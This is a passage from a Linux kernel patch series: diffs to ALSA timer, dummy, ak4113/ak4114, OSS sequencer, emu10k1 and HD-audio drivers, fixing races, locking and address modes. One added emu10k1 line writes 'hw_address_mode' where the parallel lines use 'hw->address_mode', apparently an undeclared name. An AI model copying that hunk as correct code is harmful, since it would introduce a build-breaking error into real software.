_snd_timer_stop(timeri, SNDRV_TIMER_EVENT_PAUSE); } /* @@ -702,8 +726,8 @@ void snd_timer_interrupt(struct snd_timer * timer, unsigned long ticks_left) ti->cticks = ti->ticks; } else { ti->flags &= ~SNDRV_TIMER_IFLG_RUNNING; - if (--timer->running) - list_del_init(&ti->active_list); + --timer->running; + list_del_init(&ti->active_list); } if ((timer->hw.flags & SNDRV_TIMER_HW_TASKLET) || (ti->flags & SNDRV_TIMER_IFLG_FAST)) @@ -988,8 +1012,8 @@ static int snd_timer_s_start(struct snd_timer * timer) njiff += timer->sticks - priv->correction; priv->correction = 0; } - priv->last_expires = priv->tlist.expires = njiff; - add_timer(&priv->tlist); + priv->last_expires = njiff; + mod_timer(&priv->tlist, njiff); return 0; } diff --git a/sound/core/timer_compat.c b/sound/core/timer_compat.c index e05802ae6e1b1..2e908225d754c 100644 --- a/sound/core/timer_compat.c +++ b/sound/core/timer_compat.c @@ -70,13 +70,14 @@ static int snd_timer_user_status_compat(struct file *file, struct snd_timer_status32 __user *_status) { struct snd_timer_user *tu; - struct snd_timer_status status; + struct snd_timer_status32 status; tu = file->private_data; if (snd_BUG_ON(!tu->timeri)) return -ENXIO; memset(&status, 0, sizeof(status)); - status.tstamp = tu->tstamp; + status.tstamp.tv_sec = tu->tstamp.tv_sec; + status.tstamp.tv_nsec = tu->tstamp.tv_nsec; status.resolution = snd_timer_resolution(tu->timeri); status.lost = tu->timeri->lost; status.overrun = tu->overrun; @@ -88,12 +89,21 @@ static int snd_timer_user_status_compat(struct file *file, return 0; } +#ifdef CONFIG_X86_X32 +/* X32 ABI has the same struct as x86-64 */ +#define snd_timer_user_status_x32(file, s) \ + snd_timer_user_status(file, s) +#endif /* CONFIG_X86_X32 */ + /* */ enum { SNDRV_TIMER_IOCTL_INFO32 = _IOR('T', 0x11, struct snd_timer_info32), SNDRV_TIMER_IOCTL_STATUS32 = _IOW('T', 0x14, struct snd_timer_status32), +#ifdef CONFIG_X86_X32 + SNDRV_TIMER_IOCTL_STATUS_X32 = _IOW('T', 0x14, struct snd_timer_status), +#endif /* CONFIG_X86_X32 */ }; static long snd_timer_user_ioctl_compat(struct file *file, unsigned int cmd, unsigned long arg) @@ -122,6 +132,10 @@ static long snd_timer_user_ioctl_compat(struct file *file, unsigned int cmd, uns return snd_timer_user_info_compat(file, argp); case SNDRV_TIMER_IOCTL_STATUS32: return snd_timer_user_status_compat(file, argp); +#ifdef CONFIG_X86_X32 + case SNDRV_TIMER_IOCTL_STATUS_X32: + return snd_timer_user_status_x32(file, argp); +#endif /* CONFIG_X86_X32 */ } return -ENOIOCTLCMD; } diff --git a/sound/drivers/dummy.c b/sound/drivers/dummy.c index fd798f753609c..7f400a1d42e4b 100644 --- a/sound/drivers/dummy.c +++ b/sound/drivers/dummy.c @@ -109,6 +109,9 @@ struct dummy_timer_ops { snd_pcm_uframes_t (*pointer)(struct snd_pcm_substream *); }; +#define get_dummy_ops(substream) \ + (*(const struct dummy_timer_ops **)(substream)->runtime->private_data) + struct dummy_model { const char *name; int (*playback_constraints)(struct snd_pcm_runtime *runtime); @@ -137,7 +140,6 @@ struct snd_dummy { int iobox; struct snd_kcontrol *cd_volume_ctl; struct snd_kcontrol *cd_switch_ctl; - const struct dummy_timer_ops *timer_ops; }; /* @@ -231,6 +233,8 @@ struct dummy_model *dummy_models[] = { */ struct dummy_systimer_pcm { + /* ops must be the first item */ + const struct dummy_timer_ops *timer_ops; spinlock_t lock; struct timer_list timer; unsigned long base_time; @@ -368,6 +372,8 @@ static struct dummy_timer_ops dummy_systimer_ops = { */ struct dummy_hrtimer_pcm { + /* ops must be the first item */ + const struct dummy_timer_ops *timer_ops; ktime_t base_time; ktime_t period_time; atomic_t running; @@ -416,6 +422,7 @@ static int dummy_hrtimer_stop(struct snd_pcm_substream *substream) static inline void dummy_hrtimer_sync(struct dummy_hrtimer_pcm *dpcm) { + hrtimer_cancel(&dpcm->timer); tasklet_kill(&dpcm->tasklet); } @@ -494,31 +501,25 @@ static struct dummy_timer_ops dummy_hrtimer_ops = { static int dummy_pcm_trigger(struct snd_pcm_substream *substream, int cmd) { - struct snd_dummy *dummy = snd_pcm_substream_chip(substream); - switch (cmd) { case SNDRV_PCM_TRIGGER_START: case SNDRV_PCM_TRIGGER_RESUME: - return dummy->timer_ops->start(substream); + return get_dummy_ops(substream)->start(substream); case SNDRV_PCM_TRIGGER_STOP: case SNDRV_PCM_TRIGGER_SUSPEND: - return dummy->timer_ops->stop(substream); + return get_dummy_ops(substream)->stop(substream); } return -EINVAL; } static int dummy_pcm_prepare(struct snd_pcm_substream *substream) { - struct snd_dummy *dummy = snd_pcm_substream_chip(substream); - - return dummy->timer_ops->prepare(substream); + return get_dummy_ops(substream)->prepare(substream); } static snd_pcm_uframes_t dummy_pcm_pointer(struct snd_pcm_substream *substream) { - struct snd_dummy *dummy = snd_pcm_substream_chip(substream); - - return dummy->timer_ops->pointer(substream); + return get_dummy_ops(substream)->pointer(substream); } static struct snd_pcm_hardware dummy_pcm_hardware = { @@ -564,17 +565,19 @@ static int dummy_pcm_open(struct snd_pcm_substream *substream) struct snd_dummy *dummy = snd_pcm_substream_chip(substream); struct dummy_model *model = dummy->model; struct snd_pcm_runtime *runtime = substream->runtime; + const struct dummy_timer_ops *ops; int err; - dummy->timer_ops = &dummy_systimer_ops; + ops = &dummy_systimer_ops; #ifdef CONFIG_HIGH_RES_TIMERS if (hrtimer) - dummy->timer_ops = &dummy_hrtimer_ops; + ops = &dummy_hrtimer_ops; #endif - err = dummy->timer_ops->create(substream); + err = ops->create(substream); if (err < 0) return err; + get_dummy_ops(substream) = ops; runtime->hw = dummy->pcm_hw; if (substream->pcm->device & 1) { @@ -596,7 +599,7 @@ static int dummy_pcm_open(struct snd_pcm_substream *substream) err = model->capture_constraints(substream->runtime); } if (err < 0) { - dummy->timer_ops->free(substream); + get_dummy_ops(substream)->free(substream); return err; } return 0; @@ -604,8 +607,7 @@ static int dummy_pcm_open(struct snd_pcm_substream *substream) static int dummy_pcm_close(struct snd_pcm_substream *substream) { - struct snd_dummy *dummy = snd_pcm_substream_chip(substream); - dummy->timer_ops->free(substream); + get_dummy_ops(substream)->free(substream); return 0; } diff --git a/sound/i2c/other/ak4113.c b/sound/i2c/other/ak4113.c index e04e750a77ed4..7a9149bb2a380 100644 --- a/sound/i2c/other/ak4113.c +++ b/sound/i2c/other/ak4113.c @@ -56,8 +56,7 @@ static inline unsigned char reg_read(struct ak4113 *ak4113, unsigned char reg) static void snd_ak4113_free(struct ak4113 *chip) { - chip->init = 1; /* don't schedule new work */ - mb(); + atomic_inc(&chip->wq_processing); /* don't schedule new work */ cancel_delayed_work_sync(&chip->work); kfree(chip); } @@ -89,6 +88,7 @@ int snd_ak4113_create(struct snd_card *card, ak4113_read_t *read, chip->write = write; chip->private_data = private_data; INIT_DELAYED_WORK(&chip->work, ak4113_stats); + atomic_set(&chip->wq_processing, 0); for (reg = 0; reg < AK4113_WRITABLE_REGS ; reg++) chip->regmap[reg] = pgm[reg]; @@ -139,13 +139,11 @@ static void ak4113_init_regs(struct ak4113 *chip) void snd_ak4113_reinit(struct ak4113 *chip) { - chip->init = 1; - mb(); - flush_delayed_work(&chip->work); + if (atomic_inc_return(&chip->wq_processing) == 1) + cancel_delayed_work_sync(&chip->work); ak4113_init_regs(chip); /* bring up statistics / event queing */ - chip->init = 0; - if (chip->kctls[0]) + if (atomic_dec_and_test(&chip->wq_processing)) schedule_delayed_work(&chip->work, HZ / 10); } EXPORT_SYMBOL_GPL(snd_ak4113_reinit); @@ -632,8 +630,9 @@ static void ak4113_stats(struct work_struct *work) { struct ak4113 *chip = container_of(work, struct ak4113, work.work); - if (!chip->init) + if (atomic_inc_return(&chip->wq_processing) == 1) snd_ak4113_check_rate_and_errors(chip, chip->check_flags); - schedule_delayed_work(&chip->work, HZ / 10); + if (atomic_dec_and_test(&chip->wq_processing)) + schedule_delayed_work(&chip->work, HZ / 10); } diff --git a/sound/i2c/other/ak4114.c b/sound/i2c/other/ak4114.c index 5bf4fca19e486..84a1ee7af552b 100644 --- a/sound/i2c/other/ak4114.c +++ b/sound/i2c/other/ak4114.c @@ -66,8 +66,7 @@ static void reg_dump(struct ak4114 *ak4114) static void snd_ak4114_free(struct ak4114 *chip) { - chip->init = 1; /* don't schedule new work */ - mb(); + atomic_inc(&chip->wq_processing); /* don't schedule new work */ cancel_delayed_work_sync(&chip->work); kfree(chip); } @@ -100,6 +99,7 @@ int snd_ak4114_create(struct snd_card *card, chip->write = write; chip->private_data = private_data; INIT_DELAYED_WORK(&chip->work, ak4114_stats); + atomic_set(&chip->wq_processing, 0); for (reg = 0; reg < 7; reg++) chip->regmap[reg] = pgm[reg]; @@ -152,13 +152,11 @@ static void ak4114_init_regs(struct ak4114 *chip) void snd_ak4114_reinit(struct ak4114 *chip) { - chip->init = 1; - mb(); - flush_delayed_work(&chip->work); + if (atomic_inc_return(&chip->wq_processing) == 1) + cancel_delayed_work_sync(&chip->work); ak4114_init_regs(chip); /* bring up statistics / event queing */ - chip->init = 0; - if (chip->kctls[0]) + if (atomic_dec_and_test(&chip->wq_processing)) schedule_delayed_work(&chip->work, HZ / 10); } @@ -612,10 +610,10 @@ static void ak4114_stats(struct work_struct *work) { struct ak4114 *chip = container_of(work, struct ak4114, work.work); - if (!chip->init) + if (atomic_inc_return(&chip->wq_processing) == 1) snd_ak4114_check_rate_and_errors(chip, chip->check_flags); - - schedule_delayed_work(&chip->work, HZ / 10); + if (atomic_dec_and_test(&chip->wq_processing)) + schedule_delayed_work(&chip->work, HZ / 10); } EXPORT_SYMBOL(snd_ak4114_create); diff --git a/sound/oss/sequencer.c b/sound/oss/sequencer.c index 4ff60a6427d9d..2e67dd590be54 100644 --- a/sound/oss/sequencer.c +++ b/sound/oss/sequencer.c @@ -683,13 +683,8 @@ static int seq_timing_event(unsigned char *event_rec) break; case TMR_ECHO: - if (seq_mode == SEQ_2) - seq_copy_to_input(event_rec, 8); - else - { - parm = (parm << 8 | SEQ_ECHO); - seq_copy_to_input((unsigned char *) &parm, 4); - } + parm = (parm << 8 | SEQ_ECHO); + seq_copy_to_input((unsigned char *) &parm, 4); break; default:; @@ -1332,7 +1327,6 @@ int sequencer_ioctl(int dev, struct file *file, unsigned int cmd, void __user *a int mode = translate_mode(file); struct synth_info inf; struct seq_event_rec event_rec; - unsigned long flags; int __user *p = arg; orig_dev = dev = dev >> 4; @@ -1487,9 +1481,7 @@ int sequencer_ioctl(int dev, struct file *file, unsigned int cmd, void __user *a case SNDCTL_SEQ_OUTOFBAND: if (copy_from_user(&event_rec, arg, sizeof(event_rec))) return -EFAULT; - spin_lock_irqsave(&lock,flags); play_event(event_rec.arr); - spin_unlock_irqrestore(&lock,flags); return 0; case SNDCTL_MIDI_INFO: diff --git a/sound/pci/Kconfig b/sound/pci/Kconfig index e5a2c48a3ca6c..87bbd14ce8daf 100644 --- a/sound/pci/Kconfig +++ b/sound/pci/Kconfig @@ -856,8 +856,8 @@ config SND_VIRTUOSO select SND_JACK if INPUT=y || INPUT=SND help Say Y here to include support for sound cards based on the - Asus AV66/AV100/AV200 chips, i.e., Xonar D1, DX, D2, D2X, DS, - Essence ST (Deluxe), and Essence STX. + Asus AV66/AV100/AV200 chips, i.e., Xonar D1, DX, D2, D2X, DS, DSX, + Essence ST (Deluxe), and Essence STX (II). Support for the HDAV1.3 (Deluxe) and HDAV1.3 Slim is experimental; for the Xense, missing. diff --git a/sound/pci/au88x0/au88x0_core.c b/sound/pci/au88x0/au88x0_core.c index ae59dbaa53d91..42d4b13f1fa71 100644 --- a/sound/pci/au88x0/au88x0_core.c +++ b/sound/pci/au88x0/au88x0_core.c @@ -1442,9 +1442,8 @@ static int vortex_wtdma_bufshift(vortex_t * vortex, int wtdma) int page, p, pp, delta, i; page = - (hwread(vortex->mmio, VORTEX_WTDMA_STAT + (wtdma << 2)) & - WT_SUBBUF_MASK) - >> WT_SUBBUF_SHIFT; + (hwread(vortex->mmio, VORTEX_WTDMA_STAT + (wtdma << 2)) + >> WT_SUBBUF_SHIFT) & WT_SUBBUF_MASK; if (dma->nr_periods >= 4) delta = (page - dma->period_real) & 3; else { diff --git a/sound/pci/emu10k1/emu10k1.c b/sound/pci/emu10k1/emu10k1.c index 8c5010f7889cb..70e6fe186d343 100644 --- a/sound/pci/emu10k1/emu10k1.c +++ b/sound/pci/emu10k1/emu10k1.c @@ -181,8 +181,10 @@ static int snd_card_emu10k1_probe(struct pci_dev *pci, } #endif - strcpy(card->driver, emu->card_capabilities->driver); - strcpy(card->shortname, emu->card_capabilities->name); + strlcpy(card->driver, emu->card_capabilities->driver, + sizeof(card->driver)); + strlcpy(card->shortname, emu->card_capabilities->name, + sizeof(card->shortname)); snprintf(card->longname, sizeof(card->longname), "%s (rev.%d, serial:0x%x) at 0x%lx, irq %i", card->shortname, emu->revision, emu->serial, emu->port, emu->irq); diff --git a/sound/pci/emu10k1/emu10k1_callback.c b/sound/pci/emu10k1/emu10k1_callback.c index cae36597aa718..f8a6549f00e51 100644 --- a/sound/pci/emu10k1/emu10k1_callback.c +++ b/sound/pci/emu10k1/emu10k1_callback.c @@ -85,6 +85,8 @@ snd_emu10k1_ops_setup(struct snd_emux *emux) * get more voice for pcm * * terminate most inactive voice and give it as a pcm voice. + * + * voice_lock is already held. */ int snd_emu10k1_synth_get_voice(struct snd_emu10k1 *hw) @@ -92,12 +94,10 @@ snd_emu10k1_synth_get_voice(struct snd_emu10k1 *hw) struct snd_emux *emu; struct snd_emux_voice *vp; struct best_voice best[V_END]; - unsigned long flags; int i; emu = hw->synth; - spin_lock_irqsave(&emu->voice_lock, flags); lookup_voices(emu, hw, best, 1); /* no OFF voices */ for (i = 0; i < V_END; i++) { if (best[i].voice >= 0) { @@ -113,11 +113,9 @@ snd_emu10k1_synth_get_voice(struct snd_emu10k1 *hw) vp->emu->num_voices--; vp->ch = -1; vp->state = SNDRV_EMUX_ST_OFF; - spin_unlock_irqrestore(&emu->voice_lock, flags); return ch; } } - spin_unlock_irqrestore(&emu->voice_lock, flags); /* not found */ return -ENOMEM; @@ -417,7 +415,7 @@ start_voice(struct snd_emux_voice *vp) snd_emu10k1_ptr_write(hw, Z2, ch, 0); /* invalidate maps */ - temp = (hw->silent_page.addr << 1) | MAP_PTI_MASK; + temp = (hw->silent_page.addr << hw->address_mode) | (hw->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); snd_emu10k1_ptr_write(hw, MAPA, ch, temp); snd_emu10k1_ptr_write(hw, MAPB, ch, temp); #if 0 @@ -438,7 +436,7 @@ start_voice(struct snd_emux_voice *vp) snd_emu10k1_ptr_write(hw, CDF, ch, sample); /* invalidate maps */ - temp = ((unsigned int)hw->silent_page.addr << 1) | MAP_PTI_MASK; + temp = ((unsigned int)hw->silent_page.addr << hw_address_mode) | (hw->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); snd_emu10k1_ptr_write(hw, MAPA, ch, temp); snd_emu10k1_ptr_write(hw, MAPB, ch, temp); diff --git a/sound/pci/emu10k1/emu10k1_main.c b/sound/pci/emu10k1/emu10k1_main.c index bdd888ec9a842..a131092572e6f 100644 --- a/sound/pci/emu10k1/emu10k1_main.c +++ b/sound/pci/emu10k1/emu10k1_main.c @@ -282,7 +282,7 @@ static int snd_emu10k1_init(struct snd_emu10k1 *emu, int enable_ir, int resume) snd_emu10k1_ptr_write(emu, TCB, 0, 0); /* taken from original driver */ snd_emu10k1_ptr_write(emu, TCBS, 0, 4); /* taken from original driver */ - silent_page = (emu->silent_page.addr << 1) | MAP_PTI_MASK; + silent_page = (emu->silent_page.addr << emu->address_mode) | (emu->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); for (ch = 0; ch < NUM_G; ch++) { snd_emu10k1_ptr_write(emu, MAPA, ch, silent_page); snd_emu10k1_ptr_write(emu, MAPB, ch, silent_page); @@ -348,6 +348,11 @@ static int snd_emu10k1_init(struct snd_emu10k1 *emu, int enable_ir, int resume) outl(reg | A_IOCFG_GPOUT0, emu->port + A_IOCFG); } + if (emu->address_mode == 0) { + /* use 16M in 4G */ + outl(inl(emu->port + HCFG) | HCFG_EXPANDED_MEM, emu->port + HCFG); + } + return 0; } @@ -1411,7 +1416,7 @@ static struct snd_emu_chip_details emu_chip_details[] = { * */ {.vendor = 0x1102, .device = 0x0008, .subsystem = 0x20011102, - .driver = "Audigy2", .name = "SB Audigy 2 ZS Notebook [SB0530]", + .driver = "Audigy2", .name = "Audigy 2 ZS Notebook [SB0530]", .id = "Audigy2", .emu10k2_chip = 1, .ca0108_chip = 1, @@ -1561,7 +1566,7 @@ static struct snd_emu_chip_details emu_chip_details[] = { .adc_1361t = 1, /* 24 bit capture instead of 16bit */ .ac97_chip = 1} , {.vendor = 0x1102, .device = 0x0004, .subsystem = 0x10051102, - .driver = "Audigy2", .name = "SB Audigy 2 Platinum EX [SB0280]", + .driver = "Audigy2", .name = "Audigy 2 Platinum EX [SB0280]", .id = "Audigy2", .emu10k2_chip = 1, .ca0102_chip = 1, @@ -1865,8 +1870,10 @@ int snd_emu10k1_create(struct snd_card *card, is_audigy = emu->audigy = c->emu10k2_chip; + /* set addressing mode */ + emu->address_mode = is_audigy ? 0 : 1; /* set the DMA transfer mask */ - emu->dma_mask = is_audigy ? AUDIGY_DMA_MASK : EMU10K1_DMA_MASK; + emu->dma_mask = emu->address_mode ? EMU10K1_DMA_MASK : AUDIGY_DMA_MASK; if (pci_set_dma_mask(pci, emu->dma_mask) < 0 || pci_set_consistent_dma_mask(pci, emu->dma_mask) < 0) { snd_printk(KERN_ERR "architecture does not support PCI busmaster DMA with mask 0x%lx\n", emu->dma_mask); @@ -1889,7 +1896,7 @@ int snd_emu10k1_create(struct snd_card *card, emu->max_cache_pages = max_cache_bytes >> PAGE_SHIFT; if (snd_dma_alloc_pages(SNDRV_DMA_TYPE_DEV, snd_dma_pci_data(pci), - 32 * 1024, &emu->ptb_pages) < 0) { + (emu->address_mode ? 32 : 16) * 1024, &emu->ptb_pages) < 0) { err = -ENOMEM; goto error; } @@ -1988,8 +1995,8 @@ int snd_emu10k1_create(struct snd_card *card, /* Clear silent pages and set up pointers */ memset(emu->silent_page.area, 0, PAGE_SIZE); - silent_page = emu->silent_page.addr << 1; - for (idx = 0; idx < MAXPAGES; idx++) + silent_page = emu->silent_page.addr << emu->address_mode; + for (idx = 0; idx < (emu->address_mode ? MAXPAGES1 : MAXPAGES0); idx++) ((u32 *)emu->ptb_pages.area)[idx] = cpu_to_le32(silent_page | idx); /* set up voice indices */ diff --git a/sound/pci/emu10k1/emupcm.c b/sound/pci/emu10k1/emupcm.c index 5ae1d045bdcb5..7581019d7c84c 100644 --- a/sound/pci/emu10k1/emupcm.c +++ b/sound/pci/emu10k1/emupcm.c @@ -379,7 +379,7 @@ static void snd_emu10k1_pcm_init_voice(struct snd_emu10k1 *emu, snd_emu10k1_ptr_write(emu, Z1, voice, 0); snd_emu10k1_ptr_write(emu, Z2, voice, 0); /* invalidate maps */ - silent_page = ((unsigned int)emu->silent_page.addr << 1) | MAP_PTI_MASK; + silent_page = ((unsigned int)emu->silent_page.addr << emu->address_mode) | (emu->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); snd_emu10k1_ptr_write(emu, MAPA, voice, silent_page); snd_emu10k1_ptr_write(emu, MAPB, voice, silent_page); /* modulation envelope */ diff --git a/sound/pci/emu10k1/emuproc.c b/sound/pci/emu10k1/emuproc.c index 2ca9f2e93139e..53745f4c2bf59 100644 --- a/sound/pci/emu10k1/emuproc.c +++ b/sound/pci/emu10k1/emuproc.c @@ -241,31 +241,22 @@ static void snd_emu10k1_proc_spdif_read(struct snd_info_entry *entry, struct snd_emu10k1 *emu = entry->private_data; u32 value; u32 value2; - unsigned long flags; u32 rate; if (emu->card_capabilities->emu_model) { - spin_lock_irqsave(&emu->emu_lock, flags); snd_emu1010_fpga_read(emu, 0x38, &value); - spin_unlock_irqrestore(&emu->emu_lock, flags); if ((value & 0x1) == 0) { - spin_lock_irqsave(&emu->emu_lock, flags); snd_emu1010_fpga_read(emu, 0x2a, &value); snd_emu1010_fpga_read(emu, 0x2b, &value2); - spin_unlock_irqrestore(&emu->emu_lock, flags); rate = 0x1770000 / (((value << 5) | value2)+1); snd_iprintf(buffer, "ADAT Locked : %u\n", rate); } else { snd_iprintf(buffer, "ADAT Unlocked\n"); } - spin_lock_irqsave(&emu->emu_lock, flags); snd_emu1010_fpga_read(emu, 0x20, &value); - spin_unlock_irqrestore(&emu->emu_lock, flags); if ((value & 0x4) == 0) { - spin_lock_irqsave(&emu->emu_lock, flags); snd_emu1010_fpga_read(emu, 0x28, &value); snd_emu1010_fpga_read(emu, 0x29, &value2); - spin_unlock_irqrestore(&emu->emu_lock, flags); rate = 0x1770000 / (((value << 5) | value2)+1); snd_iprintf(buffer, "SPDIF Locked : %d\n", rate); } else { @@ -410,14 +401,11 @@ static void snd_emu_proc_emu1010_reg_read(struct snd_info_entry *entry, { struct snd_emu10k1 *emu = entry->private_data; u32 value; - unsigned long flags; int i; snd_iprintf(buffer, "EMU1010 Registers:\n\n"); for(i = 0; i < 0x40; i+=1) { - spin_lock_irqsave(&emu->emu_lock, flags); snd_emu1010_fpga_read(emu, i, &value); - spin_unlock_irqrestore(&emu->emu_lock, flags); snd_iprintf(buffer, "%02X: %08X, %02X\n", i, value, (value >> 8) & 0x7f); } } diff --git a/sound/pci/emu10k1/memory.c b/sound/pci/emu10k1/memory.c index ae709c1ab3a84..d514458efe3dd 100644 --- a/sound/pci/emu10k1/memory.c +++ b/sound/pci/emu10k1/memory.c @@ -34,10 +34,11 @@ * aligned pages in others */ #define __set_ptb_entry(emu,page,addr) \ - (((u32 *)(emu)->ptb_pages.area)[page] = cpu_to_le32(((addr) << 1) | (page))) + (((u32 *)(emu)->ptb_pages.area)[page] = cpu_to_le32(((addr) << (emu->address_mode)) | (page))) #define UNIT_PAGES (PAGE_SIZE / EMUPAGESIZE) -#define MAX_ALIGN_PAGES (MAXPAGES / UNIT_PAGES) +#define MAX_ALIGN_PAGES0 (MAXPAGES0 / UNIT_PAGES) +#define MAX_ALIGN_PAGES1 (MAXPAGES1 / UNIT_PAGES) /* get aligned page from offset address */ #define get_aligned_page(offset) ((offset) >> PAGE_SHIFT) /* get offset address from aligned page */ @@ -124,7 +125,7 @@ static int search_empty_map_area(struct snd_emu10k1 *emu, int npages, struct lis } page = blk->mapped_page + blk->pages; } - size = MAX_ALIGN_PAGES - page; + size = (emu->address_mode ? MAX_ALIGN_PAGES1 : MAX_ALIGN_PAGES0) - page; if (size >= max_size) { *nextp = pos; return page; @@ -181,7 +182,7 @@ static int unmap_memblk(struct snd_emu10k1 *emu, struct snd_emu10k1_memblk *blk) q = get_emu10k1_memblk(p, mapped_link); end_page = q->mapped_page; } else - end_page = MAX_ALIGN_PAGES; + end_page = (emu->address_mode ? MAX_ALIGN_PAGES1 : MAX_ALIGN_PAGES0); /* remove links */ list_del(&blk->mapped_link); @@ -305,7 +306,7 @@ snd_emu10k1_alloc_pages(struct snd_emu10k1 *emu, struct snd_pcm_substream *subst if (snd_BUG_ON(!emu)) return NULL; if (snd_BUG_ON(runtime->dma_bytes <= 0 || - runtime->dma_bytes >= MAXPAGES * EMUPAGESIZE)) + runtime->dma_bytes >= (emu->address_mode ? MAXPAGES1 : MAXPAGES0) * EMUPAGESIZE)) return NULL; hdr = emu->memhdr; if (snd_BUG_ON(!hdr)) diff --git a/sound/pci/hda/hda_codec.c b/sound/pci/hda/hda_codec.c index aeefec74a0618..68261a778ee54 100644 --- a/sound/pci/hda/hda_codec.c +++ b/sound/pci/hda/hda_codec.c @@ -327,8 +327,10 @@ int snd_hda_get_sub_nodes(struct hda_codec *codec, hda_nid_t nid, unsigned int parm; parm = snd_hda_param_read(codec, nid, AC_PAR_NODE_COUNT); - if (parm == -1) + if (parm == -1) { + *start_id = 0; return 0; + } *start_id = (parm >> 16) & 0x7fff; return (int)(parm & 0x7fff); } @@ -2076,6 +2078,16 @@ int snd_hda_codec_amp_init_stereo(struct hda_codec *codec, hda_nid_t nid, } EXPORT_SYMBOL_HDA(snd_hda_codec_amp_init_stereo); +/* meta hook to call each driver's vmaster hook */ +static void vmaster_hook(void *private_data, int enabled) +{ + struct hda_vmaster_mute_hook *hook = private_data; + + if (hook->mute_mode != HDA_VMUTE_FOLLOW_MASTER) + enabled = hook->mute_mode; + hook->hook(hook->codec, enabled); +} + /** * snd_hda_codec_resume_amp - Resume all AMP commands from the cache * @codec: HD-audio codec @@ -2770,9 +2782,9 @@ int snd_hda_add_vmaster_hook(struct hda_codec *codec, if (!hook->hook || !hook->sw_kctl) return 0; - snd_ctl_add_vmaster_hook(hook->sw_kctl, hook->hook, codec); hook->codec = codec; hook->mute_mode = HDA_VMUTE_FOLLOW_MASTER; + snd_ctl_add_vmaster_hook(hook->sw_kctl, vmaster_hook, hook); if (!expose_enum_ctl) return 0; kctl = snd_ctl_new1(&vmaster_mute_mode, hook); @@ -2795,14 +2807,7 @@ void snd_hda_sync_vmaster_hook(struct hda_vmaster_mute_hook *hook) */ if (hook->codec->bus->shutdown) return; - switch (hook->mute_mode) { - case HDA_VMUTE_FOLLOW_MASTER: - snd_ctl_sync_vmaster_hook(hook->sw_kctl); - break; - default: - hook->hook(hook->codec, hook->mute_mode); - break; - } + snd_ctl_sync_vmaster_hook(hook->sw_kctl); } EXPORT_SYMBOL_HDA(snd_hda_sync_vmaster_hook); diff --git a/sound/pci/hda/hda_generic.c b/sound/pci/hda/hda_generic.c index cb4d3700f3306..db67e5b596d32 100644 --- a/sound/pci/hda/hda_generic.c +++ b/sound/pci/hda/hda_generic.c @@ -642,12 +642,45 @@ static int get_amp_val_to_activate(struct hda_codec *codec, hda_nid_t nid, return val; } +/* is this a stereo widget or a stereo-to-mono mix? */ +static bool is_stereo_amps(struct hda_codec *codec, hda_nid_t nid, int dir) +{ + unsigned int wcaps = get_wcaps(codec, nid); + hda_nid_t conn; + + if (wcaps & AC_WCAP_STEREO) + return true; + if (dir != HDA_INPUT || get_wcaps_type(wcaps) != AC_WID_AUD_MIX) + return false; + if (snd_hda_get_num_conns(codec, nid) != 1) + return false; + if (snd_hda_get_connections(codec, nid, &conn, 1) < 0) + return false; + return !!(get_wcaps(codec, conn) & AC_WCAP_STEREO); +} + /* initialize the amp value (only at the first time) */ static void init_amp(struct hda_codec *codec, hda_nid_t nid, int dir, int idx) { unsigned int caps = query_amp_caps(codec, nid, dir); int val = get_amp_val_to_activate(codec, nid, dir, caps, false); - snd_hda_codec_amp_init_stereo(codec, nid, dir, idx, 0xff, val); + + if (is_stereo_amps(codec, nid, dir)) + snd_hda_codec_amp_init_stereo(codec, nid, dir, idx, 0xff, val); + else + snd_hda_codec_amp_init(codec, nid, 0, dir, idx, 0xff, val); +} + +/* update the amp, doing in stereo or mono depending on NID */ +static int update_amp(struct hda_codec *codec, hda_nid_t nid, int dir, int idx, + unsigned int mask, unsigned int val) +{ + if (is_stereo_amps(codec, nid, dir)) + return snd_hda_codec_amp_stereo(codec, nid, dir, idx, + mask, val); + else + return snd_hda_codec_amp_update(codec, nid, 0, dir, idx, + mask, val); } /* calculate amp value mask we can modify; @@ -687,7 +720,7 @@ static void activate_amp(struct hda_codec *codec, hda_nid_t nid, int dir, return; val &= mask; - snd_hda_codec_amp_stereo(codec, nid, dir, idx, mask, val); + update_amp(codec, nid, dir, idx, mask, val); } static void activate_amp_out(struct hda_codec *codec, struct nid_path *path, @@ -4235,13 +4268,11 @@ static void mute_all_mixer_nid(struct hda_codec *codec, hda_nid_t mix) has_amp = nid_has_mute(codec, mix, HDA_INPUT); for (i = 0; i < nums; i++) { if (has_amp) - snd_hda_codec_amp_stereo(codec, mix, - HDA_INPUT, i, - 0xff, HDA_AMP_MUTE); + update_amp(codec, mix, HDA_INPUT, i, + 0xff, HDA_AMP_MUTE); else if (nid_has_volume(codec, conn[i], HDA_OUTPUT)) - snd_hda_codec_amp_stereo(codec, conn[i], - HDA_OUTPUT, 0, - 0xff, HDA_AMP_MUTE); + update_amp(codec, conn[i], HDA_OUTPUT, 0, + 0xff, HDA_AMP_MUTE); } } diff --git a/sound/pci/hda/hda_intel.c b/sound/pci/hda/hda_intel.c index 1800db643a16e..57d01f101b04a 100644 --- a/sound/pci/hda/hda_intel.c +++ b/sound/pci/hda/hda_intel.c @@ -1104,6 +1104,36 @@ static unsigned int azx_get_response(struct hda_bus *bus, return azx_rirb_get_response(bus, addr); } +#ifdef CONFIG_PM_SLEEP +/* put codec down to D3 at hibernation for Intel SKL+; + * otherwise BIOS may still access the codec and screw up the driver + */ +#define IS_SKL(pci) ((pci)->vendor == 0x8086 && (pci)->device == 0xa170) +#define IS_SKL_LP(pci) ((pci)->vendor == 0x8086 && (pci)->device == 0x9d70) +#define IS_BXT(pci) ((pci)->vendor == 0x8086 && (pci)->device == 0x5a98) +#define IS_SKL_PLUS(pci) (IS_SKL(pci) || IS_SKL_LP(pci) || IS_BXT(pci)) + +static int azx_freeze_noirq(struct device *dev) +{ + struct pci_dev *pci = to_pci_dev(dev); + + if (IS_SKL_PLUS(pci)) + pci_set_power_state(pci, PCI_D3hot); + + return 0; +} + +static int azx_thaw_noirq(struct device *dev) +{ + struct pci_dev *pci = to_pci_dev(dev); + + if (IS_SKL_PLUS(pci)) + pci_set_power_state(pci, PCI_D0); + + return 0; +} +#endif /* CONFIG_PM_SLEEP */ + #ifdef CONFIG_PM static void azx_power_notify(struct hda_bus *bus, bool power_up); #endif @@ -2974,6 +3004,10 @@ static int azx_runtime_idle(struct device *dev) #ifdef CONFIG_PM static const struct dev_pm_ops 